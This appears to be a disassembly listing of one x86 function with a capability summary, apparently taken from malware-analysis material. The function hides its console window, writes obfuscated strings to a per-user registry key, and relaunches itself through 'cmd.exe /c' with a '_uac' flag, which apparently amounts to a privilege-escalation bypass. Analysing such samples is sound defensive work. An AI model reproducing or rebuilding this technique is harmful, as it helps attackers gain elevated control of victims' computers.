Function at 0x1000b3b0
Capabilities:
Accept command line arguments
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb90
push esi
push edi
mov dword [ebp - 0x280], 0x44
push 0x40
push 0
lea eax, [ebp - 0x27c]
push eax
call fcn.10003190
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x698], cx
push 0x206
push 0
lea edx, [ebp - 0x696]
push edx
call fcn.10003190
add esp, 0xc
lea ecx, [ebp - 0x288]
call fcn.10001000
lea ecx, [ebp - 0x20]
call fcn.10001000
xor eax, eax
mov word [ebp - 0x490], ax
push 0x206
push 0
lea ecx, [ebp - 0x48e]
push ecx
call fcn.10003190
add esp, 0xc
lea ecx, [ebp - 0x24]
call fcn.10001000
lea ecx, [ebp - 0x284]
call fcn.10001000
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0xb10], edx
cmp dword [ebp - 0xb10], 1
je 0x1000b453
jmp 0x1000ba6c
push 0x208
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.10003190
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x230]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.1000a610
movzx edx, al
test edx, edx
jne 0x1000b49f
push 0
push 0
push str.err_x1
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1000ba6c
mov eax, dword [ebp + 8]
push eax
call dword [0x10011b84]
push str.NetEase.exe
lea ecx, [ebp - 0x230]
push ecx
call fcn.10002040
add esp, 8
test eax, eax
je 0x1000b4d9
push str._auto
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call fcn.10002040
add esp, 8
test eax, eax
jne 0x1000b4de
jmp 0x1000ba6c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x6f4], eax
mov dword [ebp - 0x6ec], 0
mov dword [ebp - 0x6f0], 0
push 0
push str.ConsoleWindowClass
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 0
je 0x1000b57d
lea edx, [ebp - 0x6f0]
push edx
mov eax, dword [ebp - 0x6f8]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x6ec], eax
mov ecx, dword [ebp - 0x6f0]
cmp ecx, dword [ebp - 0x6f4]
jne 0x1000b566
cmp dword [ebp - 0x6f0], 0
je 0x1000b566
push 0
mov edx, dword [ebp - 0x6f8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x6f8], 0
jmp 0x1000b57b
push 2
mov eax, dword [ebp - 0x6f8]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 0x6f8], eax
jmp 0x1000b511
call fcn.1000a200
test eax, eax
jne 0x1000ba3f
mov dword [ebp - 0xb08], 0
xor ecx, ecx
mov word [ebp - 0x8f8], cx
push 0x1fe
push 0
lea edx, [ebp - 0x8f6]
push edx
call fcn.10003190
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0xb04], eax
push 0x208
push 0
lea eax, [ebp - 0xb00]
push eax
call fcn.10003190
add esp, 0xc
push 0x208
lea ecx, [ebp - 0xb00]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x1000dd88
mov edx, dword [ebp - 0xb04]
push edx
call fcn.10002040
add esp, 8
mov dword [ebp - 0xb08], eax
cmp dword [ebp - 0xb08], 0
je 0x1000b6ce
mov eax, dword [ebp - 0xb08]
mov dword [ebp - 0xb14], eax
lea ecx, [ebp - 0x8f8]
mov dword [ebp - 0xb18], ecx
mov edx, dword [ebp - 0xb18]
mov dword [ebp - 0xb1c], edx
mov eax, dword [ebp - 0xb14]
mov cx, word [eax]
mov word [ebp - 0xb1e], cx
mov edx, dword [ebp - 0xb18]
mov ax, word [ebp - 0xb1e]
mov word [edx], ax
mov ecx, dword [ebp - 0xb14]
add ecx, 2
mov dword [ebp - 0xb14], ecx
mov edx, dword [ebp - 0xb18]
add edx, 2
mov dword [ebp - 0xb18], edx
cmp word [ebp - 0xb1e], 0
jne 0x1000b634
lea eax, [ebp - 0x8f8]
add eax, 0xfffffffe
mov dword [ebp - 0xb24], eax
mov ecx, dword [ebp - 0xb24]
mov dx, word [ecx + 2]
mov word [ebp - 0xb26], dx
add dword [ebp - 0xb24], 2
cmp word [ebp - 0xb26], 0
jne 0x1000b68b
mov edi, dword [ebp - 0xb24]
mov eax, dword [0x1000dd8c]
mov dword [edi], eax
mov ecx, dword [0x1000dd90]
mov dword [edi + 4], ecx
mov edx, dword [0x1000dd94]
mov dword [edi + 8], edx
jmp 0x1000b738
mov dword [ebp - 0xb2c], str._uac
lea eax, [ebp - 0x8f8]
mov dword [ebp - 0xb30], eax
mov ecx, dword [ebp - 0xb30]
mov dword [ebp - 0xb34], ecx
mov edx, dword [ebp - 0xb2c]
mov ax, word [edx]
mov word [ebp - 0xb36], ax
mov ecx, dword [ebp - 0xb30]
mov dx, word [ebp - 0xb36]
mov word [ecx], dx
mov eax, dword [ebp - 0xb2c]
add eax, 2
mov dword [ebp - 0xb2c], eax
mov ecx, dword [ebp - 0xb30]
add ecx, 2
mov dword [ebp - 0xb30], ecx
cmp word [ebp - 0xb36], 0
jne 0x1000b6f0
push str.f0kpSZtJlEmPSYhJmkmISYVJjEmQSY9JSUk
call fcn.1000a070
add esp, 4
push eax
push 0
push 1
lea edx, [ebp - 0xb00]
push edx
push str.mkmOSYdJlUmWSYhJm0mESZ1JjElwSWpJe0luSXpJbklnSXVJnUmWSXBJb0llSW5Jdkl6SSlJj0mVSZ1Jikl0SXtJe0lkSW9JdUmXSWRJe0l6SXBJbklvSZ1JiEl5SXlJikluSWxJeUloSXVJh0ltSWhJZkl6SZ1JjUloSYBJZEl7SXpJSUk
call fcn.1000a070
add esp, 4
push eax
push 0x80000001
call fcn.1000a150
add esp, 0x18
movzx eax, al
test eax, eax
je 0x1000ba3d
mov dword [ebp - 0xb3c], str.cmd.exe__c___
lea ecx, [ebp - 0x698]
mov dword [ebp - 0xb40], ecx
mov edx, dword [ebp - 0xb40]
mov dword [ebp - 0xb44], edx
mov eax, dword [ebp - 0xb3c]
mov cx, word [eax]
mov word [ebp - 0xb46], cx
mov edx, dword [ebp - 0xb40]
mov ax, word [ebp - 0xb46]
mov word [edx], ax
mov ecx, dword [ebp - 0xb3c]
add ecx, 2
mov dword [ebp - 0xb3c], ecx
mov edx, dword [ebp - 0xb40]
add edx, 2
mov dword [ebp - 0xb40], edx
cmp word [ebp - 0xb46], 0
jne 0x1000b799
lea eax, [ebp - 0xb00]
mov dword [ebp - 0xb4c], eax
mov ecx, dword [ebp - 0xb4c]
mov dword [ebp - 0xb50], ecx
mov edx, dword [ebp - 0xb4c]
mov ax, word [edx]
mov word [ebp - 0xb52], ax
add dword [ebp - 0xb4c], 2
cmp word [ebp - 0xb52], 0
jne 0x1000b7f9
mov ecx, dword [ebp - 0xb4c]
sub ecx, dword [ebp - 0xb50]
mov edx, dword [ebp - 0xb50]
mov dword [ebp - 0xb58], edx
mov dword [ebp - 0xb5c], ecx
lea eax, [ebp - 0x698]
add eax, 0xfffffffe
mov dword [ebp - 0xb60], eax
mov ecx, dword [ebp - 0xb60]
mov dx, word [ecx + 2]
mov word [ebp - 0xb62], dx
add dword [ebp - 0xb60], 2
cmp word [ebp - 0xb62], 0
jne 0x1000b847
mov edi, dword [ebp - 0xb60]
mov esi, dword [ebp - 0xb58]
mov eax, dword [ebp - 0xb5c]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x698]
add ecx, 0xfffffffe
mov dword [ebp - 0xb68], ecx
mov edx, dword [ebp - 0xb68]
mov ax, word [edx + 2]
mov word [ebp - 0xb6a], ax
add dword [ebp - 0xb68], 2
cmp word [ebp - 0xb6a], 0
jne 0x1000b898
mov edi, dword [ebp - 0xb68]
mov ecx, dword [0x1000dea4]
mov dword [edi], ecx
mov dx, word [0x1000dea8]
mov word [edi + 4], dx
lea eax, [ebp - 0x8f8]
mov dword [ebp - 0xb70], eax
mov ecx, dword [ebp - 0xb70]
mov dword [ebp - 0xb74], ecx
mov edx, dword [ebp - 0xb70]
mov ax, word [edx]
mov word [ebp - 0xb76], ax
add dword [ebp - 0xb70], 2
cmp word [ebp - 0xb76], 0
jne 0x1000b8eb
mov ecx, dword [ebp - 0xb70]
sub ecx, dword [ebp - 0xb74]
mov edx, dword [ebp - 0xb74]
mov dword [ebp - 0xb7c], edx
mov dword [ebp - 0xb80], ecx
lea eax, [ebp - 0x698]
add eax, 0xfffffffe
mov dword [ebp - 0xb84], eax
mov ecx, dword [ebp - 0xb84]
mov dx, word [ecx + 2]
mov word [ebp - 0xb86], dx
add dword [ebp - 0xb84], 2
cmp word [ebp - 0xb86], 0
jne 0x1000b939
mov edi, dword [ebp - 0xb84]
mov esi, dword [ebp - 0xb7c]
mov eax, dword [ebp - 0xb80]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x698]
add ecx, 0xfffffffe
mov dword [ebp - 0xb8c], ecx
mov edx, dword [ebp - 0xb8c]
mov ax, word [edx + 2]
mov word [ebp - 0xb8e], ax
add dword [ebp - 0xb8c], 2
cmp word [ebp - 0xb8e], 0
jne 0x1000b98a
mov edi, dword [ebp - 0xb8c]
mov ecx, dword [0x1000deac]
mov dword [edi], ecx
mov dword [ebp - 0x254], 1
xor edx, edx
mov word [ebp - 0x250], dx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x280]
push ecx
mov edx, dword [0x10011b90]
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x698]
push eax
push 0
call dword [0x10011b88]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
jne 0x1000ba3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x698]
push ecx
push 0x1000deb0
lea edx, [ebp - 0x490]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
lea eax, [ebp - 0x490]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1000ba6c
call fcn.1000a980
test eax, eax
jne 0x1000ba6c
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1000a980
test eax, eax
jne 0x1000ba6c
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1000a980
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]